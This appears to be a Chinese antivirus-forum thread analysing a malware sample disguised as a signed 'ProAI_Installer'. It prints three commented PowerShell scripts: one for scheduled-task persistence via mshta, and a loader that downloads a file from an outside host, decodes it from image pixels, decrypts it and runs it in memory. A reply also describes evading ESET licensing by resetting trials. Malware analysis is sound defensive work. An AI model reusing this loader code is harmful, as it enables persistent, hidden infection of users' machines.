楼主: QVM360
收起左侧

[病毒样本] 带数字签名的"ProAI_Installer"

  [复制链接]
QVM360
 楼主| 发表于 2024-9-23 10:02:24 | 显示全部楼层
脚本1
  1. # 获取当前脚本名并去掉后缀
  2. $scriptName = $MyInvocation.MyCommand.Name -replace ".ps1",""

  3. # 替换路径中的 1.ps1 为 2.ps1
  4. $newScriptPath = $PSCommandPath -replace "1.ps1","2.ps1"

  5. # 替换路径中的 1.ps1 为 1.txt
  6. $txtFilePath = $PSCommandPath -replace "1.ps1","1.txt"

  7. try {
  8.     # 获取当前脚本对应的计划任务
  9.     $existingTask = Get-ScheduledTask | Where-Object {$_.TaskName -like $scriptName}

  10.     # 创建新的计划任务触发器,每分钟触发一次
  11.     $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1)

  12.     # 创建计划任务动作,执行 mshta 以启动 powershell
  13.     $action = New-ScheduledTaskAction -Execute "mshta" -Argument "vbscript:Execute(""CreateObject(""""WScript.Shell"""").Run """"powershell -ep bypass -File """"""""$newScriptPath """""""""""" ,0:close"")"

  14.     # 检查当前用户是否为管理员
  15.     $isAdmin = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544");

  16.     if (!$existingTask) {
  17.         # 如果计划任务不存在,则根据权限注册新任务
  18.         if ($isAdmin -eq 'True') {
  19.             Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action -RunLevel Highest
  20.         } else {
  21.             Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action
  22.         }
  23.     } else {
  24.         # 如果计划任务已存在,则先注销再重新注册任务,并创建 .txt 文件
  25.         if ($isAdmin -eq 'True') {
  26.             Unregister-ScheduledTask -TaskName $scriptName -Confirm:$False
  27.             Register-ScheduledTask -TaskName $scriptName -Trigger $trigger -Action $action -RunLevel Highest
  28.             New-Item -Path "$txtFilePath" -ItemType File
  29.         }
  30.     }
  31. } catch {}
复制代码
脚本2
  1. # 获取当前脚本名称并去掉 .ps1 后缀
  2. $scriptName = $MyInvocation.MyCommand.Name -replace ".ps1",""

  3. # 标志是否已经创建了全局事件
  4. $eventAlreadyExists = $false

  5. # 创建一个全局事件等待句柄,命名为脚本名称
  6. $globalEvent = New-Object Threading.EventWaitHandle $true, ([Threading.EventResetMode]::ManualReset), "Global\$scriptName", ([ref] $eventAlreadyExists)

  7. # 如果事件已经存在,退出程序
  8. if (-not $eventAlreadyExists) {
  9.     Exit
  10. } else {
  11.     # 获取当前脚本所在目录
  12.     $scriptRoot = $PSScriptRoot

  13.     # 替换当前脚本名中的 "2.ps1" 为 "3.ps1"
  14.     $nextScriptName = $MyInvocation.MyCommand.Name -replace "2.ps1", "3.ps1"

  15.     # 构建下一个脚本的完整路径
  16.     $nextScriptPath = $scriptRoot + "" + $nextScriptName

  17.     # 执行下一个脚本
  18.     $nextScript = & $nextScriptPath

  19.     # 调用下一个脚本的入口点方法
  20.     $nextScript.EntryPoint.Invoke($null, $null)
  21. }
复制代码
脚本3
  1. # 引入必要的程序集
  2. Add-Type -AssemblyName System.Drawing
  3. Add-Type -AssemblyName System

  4. # 函数:将图像转换为十六进制字符串
  5. Function ConvertImageToHex {
  6.     [CmdletBinding()]
  7.     param(
  8.         [Parameter(Mandatory=$true)] [String]$imagePath,  # 图片文件路径
  9.         [Parameter(Mandatory=$true)] [String]$hexSuffix   # 要匹配的十六进制后缀
  10.     )

  11.     # 加载图片
  12.     $bitmap = [System.Drawing.Bitmap]::FromFile((Resolve-Path $imagePath).ProviderPath)
  13.     $hexStringBuilder = [System.Text.StringBuilder]::new()

  14.     # 遍历图片的每个像素
  15.     for ($y = 0; $y -le $bitmap.Height - 1; $y++) {
  16.         for ($x = 0; $x -le $bitmap.Width - 1; $x++) {
  17.             $pixelColor = $bitmap.GetPixel($x, $y)
  18.             $hexColor = [System.Drawing.ColorTranslator]::ToHtml($pixelColor)
  19.             $hexColor = $hexColor.replace("#000000", "")  # 去掉黑色的像素
  20.             [void]$hexStringBuilder.Append($hexColor.replace("#", ""))
  21.         }
  22.     }

  23.     $hexString = $hexStringBuilder.ToString()
  24.     $hexString = $hexString -replace "`n", ", " -replace "`r", ", "

  25.     # 检查十六进制后缀是否匹配,不匹配则去掉最后的字符
  26.     for ($i = 0; $i -le 10; $i++) {
  27.         if ($hexString.Substring($hexString.Length - 6) -ne $hexSuffix) {
  28.             $hexString = $hexString.Substring(0, $hexString.Length - 1)
  29.         } else {
  30.             break
  31.         }
  32.     }

  33.     return $hexString
  34. }

  35. # 函数:解密并加载程序集
  36. Function DecryptAndLoadAssembly {
  37.     [CmdletBinding()]
  38.     param(
  39.         [Parameter(Mandatory=$true)] [String]$filePath,   # 输入文件路径
  40.         [Parameter(Mandatory=$true)] [String]$hexSuffix   # 要匹配的十六进制后缀
  41.     )

  42.     # 调用 ConvertImageToHex 函数,获取图像的十六进制字符串
  43.     $hexString = ConvertImageToHex $filePath $hexSuffix
  44.     [byte[]]$byteArray = New-Object -TypeName byte[] -ArgumentList ($hexString.Length / 2)

  45.     # 将十六进制字符串转换为字节数组
  46.     for ($i = 0; $i -lt $hexString.Length; $i += 2) {
  47.         $byteArray[$i / 2] = [Convert]::ToByte($hexString.Substring($i, 2), 16)
  48.     }

  49.     # 解密相关操作
  50.     $encryptionKey = "AKJDnkjewioioew8494328"
  51.     [byte[]]$salt = @(0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x11, 0x11, 0x12, 0x13, 0x14, 0x0e, 0x16, 0x17)
  52.    
  53.     [System.IO.MemoryStream] $memoryStream = New-Object System.IO.MemoryStream
  54.     [System.Security.Cryptography.RijndaelManaged] $rijndael = New-Object System.Security.Cryptography.RijndaelManaged
  55.     [System.Security.Cryptography.Rfc2898DeriveBytes] $keyDerivation = New-Object System.Security.Cryptography.Rfc2898DeriveBytes([system.text.encoding]::UTF8.GetString($salt, 0, $salt.Length), [system.text.encoding]::UTF8.GetBytes($encryptionKey))

  56.     $rijndael.Key = $keyDerivation.GetBytes(128/8)
  57.     $rijndael.IV = $rijndael.Key

  58.     # 使用解密流进行解密
  59.     [System.Security.Cryptography.CryptoStream] $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $rijndael.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
  60.    
  61.     try {
  62.         $cryptoStream.Write($byteArray, 0, $byteArray.Length)
  63.         $cryptoStream.FlushFinalBlock()
  64.         $cryptoStream.Close()
  65.     } catch [Exception] {
  66.         return $false
  67.     }

  68.     # 将解密后的数据加载为程序集
  69.     $decryptedAssembly = $memoryStream.ToArray()
  70.     return [System.Reflection.Assembly]::Load($decryptedAssembly)
  71. }

  72. # 获取脚本的根目录和下载文件的路径
  73. $scriptRoot = $PSScriptRoot
  74. $filePath = $scriptRoot + "\AqrTRwsUTihEwxGVGKfj.txt"
  75. $fileUrl = "https://flashffl.com/?IVevhoJJwxHMzaHyLQeA=AqrTRwsUTihEwxGVGKfj.txt"

  76. # 如果文件不存在,下载文件
  77. if (-not(Test-Path -Path $filePath)) {
  78.     (New-Object System.Net.WebClient).DownloadFile($fileUrl, $filePath)
  79. }

  80. # 调用解密和加载程序集的函数
  81. DecryptAndLoadAssembly $filePath "22EC2F"
复制代码
关键就在于这个
  1. https://flashffl.com/?IVevhoJJwxHMzaHyLQeA=AqrTRwsUTihEwxGVGKfj.txt
复制代码
但实际上这是个空文件,所以这个样本是无效的
LeeHS
发表于 2024-9-23 10:45:14 | 显示全部楼层
cs miss?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
陌染淡殇
发表于 2024-9-23 11:06:54 | 显示全部楼层
avast miss
莒县小哥
发表于 2024-9-23 13:10:41 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
狐狸糊涂
发表于 2024-9-23 13:37:10 | 显示全部楼层
独赢缠身 发表于 2024-9-22 20:39
eset有没有白嫖方法,或者低价

30天试用,循环清理工具清除激活信息,用十分钟邮箱申请新激活
狐狸糊涂
发表于 2024-9-23 13:39:28 | 显示全部楼层
独赢缠身 发表于 2024-9-22 20:39
eset有没有白嫖方法,或者低价

循环激活工具

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
btbtg
发表于 2024-9-23 19:16:32 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
独赢缠身
发表于 2024-9-23 22:37:43 | 显示全部楼层

谢谢
ANY.LNK
发表于 2024-9-23 23:16:38 | 显示全部楼层

昨天用MDB以最高优先级提交了
ongarabazanade
发表于 2024-9-23 23:20:17 | 显示全部楼层
本帖最后由 ongarabazanade 于 2024-9-23 23:36 编辑

实体双击以后中招了,把我小A隔离区给弄坏了存不住文件了。我本来把它用小A防火墙禁止联网了,但样本会从黑名单自己跑出来,还是偷偷联网下载另外的病毒,还隐藏还转移,杀完还自动恢复清理不掉。这个样本以及它下载的那个毒真顽固啊,我用360急救箱强力模式杀了2遍才把它干掉清理干净。进安全模式杀的,忘截图了。怕了,最近先不测毒了。等有了好电脑上了虚拟机再来测。最后说一句,这可真是个高质量的非常新的样本,难得遇到。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-30 20:36 , Processed in 0.098015 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表